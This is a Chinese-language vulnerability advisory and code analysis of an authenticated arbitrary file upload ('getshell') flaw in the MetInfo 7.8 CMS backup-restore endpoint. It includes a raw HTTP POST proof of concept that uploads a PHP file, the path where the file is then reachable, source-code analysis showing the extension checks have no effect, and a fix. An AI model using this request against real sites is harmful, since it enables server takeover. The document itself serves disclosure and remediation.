metinfo7.8后台getshell
漏洞简介
metinfo7.8后台存在getshell漏洞
利用方式
远程
影响版本
Metinfo最新版 (版本号:7.8 更新日期:2023年3月28日)
权限要求
后台管理员
利用接口
/admin/index.php?n=databack&c=index&a=doUploadDataback
漏洞复现
后台 => 安全设置 => 备份与恢复 => 恢复 => 上传文件
上传zip文件抓包如下,抓包上传任意php文件
POST /admin/index.php?n=databack&c=index&a=doUploadDataback HTTP/1.1
Host: 192.168.111.1
Content-Length: 262
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeFR8ogecLoK1U5xR
Origin: http://192.168.111.1
Referer: http://192.168.111.1/admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=ll3h0ut1flp6i9g6sg0m2n1rmh; Hm_lvt_520556228c0113270c0c772027905838=1682919393,1682929172; met_auth=38fbotQPt59llLCy0UvNXqGIpUJ0Dt5FpubBRLv4xWtmX6SJ9HfRV6qF%2FatbNlTy8R74eLI1wYjQLDiwEuh%2FSCU26%2BJ6; met_key=TtekRQY; admin_lang=cn; met_auths=1; Hm_lpvt_520556228c0113270c0c772027905838=1682929286; page_iframe_url=http%3A%2F%2F192.168.111.1%2Findex.php%3Flang%3Dcn%26pageset%3D1
Connection: close
------WebKitFormBoundaryeFR8ogecLoK1U5xR
Content-Disposition: form-data; name="recovery_file"; filename="test.php"
Content-Type: application/x-zip-compressed
<?php phpinfo();?>
------WebKitFormBoundaryeFR8ogecLoK1U5xR--
访问http://192.168.111.1/upload/sql/test.php
漏洞分析
漏洞触发的点在\app\system\databack\admin\index.class.php#1314
/** 上传本份文件 slq ,zip */
public function doUploadDataback()
{
global $_M;
$redata = array();
$formname = $_M['form']['formname'];
$redata['order'] = $_M['form']['file_id'] ? $_M['form']['file_id'] : 0;
$this->upfile = load::sys_class('upfile', 'new');
//设置备份文件上传模式
$this->upfile->set_upsql();
$back = $this->upfile->upload($formname);
if ($back['error']) {
$redata['error'] = $back['msg'];
$redata['msg'] = $back['msg'];
} else {
// ......
跟进$back = $this->upfile->upload($formname);
查看文件上传逻辑,
来到app\system\include\class\upfile.class.php#147
,可以直接看184行的逻辑
/**
* 上传方法
* @param null $field_name 上传控件的name字段值
* @return array
*/
public function upload($field_name = null)
{
global $_M;
if ($field_name) {
$filear = $_FILES[$field_name];
}else{
foreach ($_FILES as $key => $val) {
$filear = $_FILES[$key];
break;
}
}
if (!$filear) {
return self::_error('error');
}
//是否能正常上传
if (!is_array($filear)) $filear['error'] = 4;
if ($filear['error'] != 0) {
$error = self::getErrorInfo($filear['error']);
$error_info[] = $error;
return self::_error($error);
}
//空间超容 有些虚拟主机不支持此函数
if (!self::checkSpace($filear)) {
self::_error($this->error);
}
//目录不可写
if (!self::checkUploadWritable()) {
self::_error($this->error);
}
//文件大小是否正确
if (!self::checkFileSize($filear)) {
self::_error($this->error);
}
//文件后缀是否为合法后缀
$this->getExt($filear["name"]); //获取允许的后缀
$res = $this->checkImgExt($filear);
if (!$res) self::_error($this->error);
$res = $this->checkExt();
if (!$res) self::_error($this->error);
// echo "passed the check";
//新建保存文件
$res = $this->checkDir();
if (!$res) self::_error($this->error);
// ......
可以看到存在文件后缀名校验的,校验文件后缀的代码没有问题,并且校验成功后会调用:
if (!$res) self::_error($this->error);
我们查看self::_error
会做哪些操作
/**
* @param $error
* @return array
*/
protected function _error($error)
{
$redata = array();
$redata['error'] = $error;
$redata['msg'] = $error;
return $redata;
}
可以看到返回了一些错误信息,但是没有任何其他操作,而上面的检查代码调用之后没有接收任何错误信息以及做后续的判断,所以检查了个寂寞。
最后造成任意文件上传的效果。
修复建议
修改self::_error($this->error);
的逻辑,检测到上传错误后立即返回不做后续的上传操作。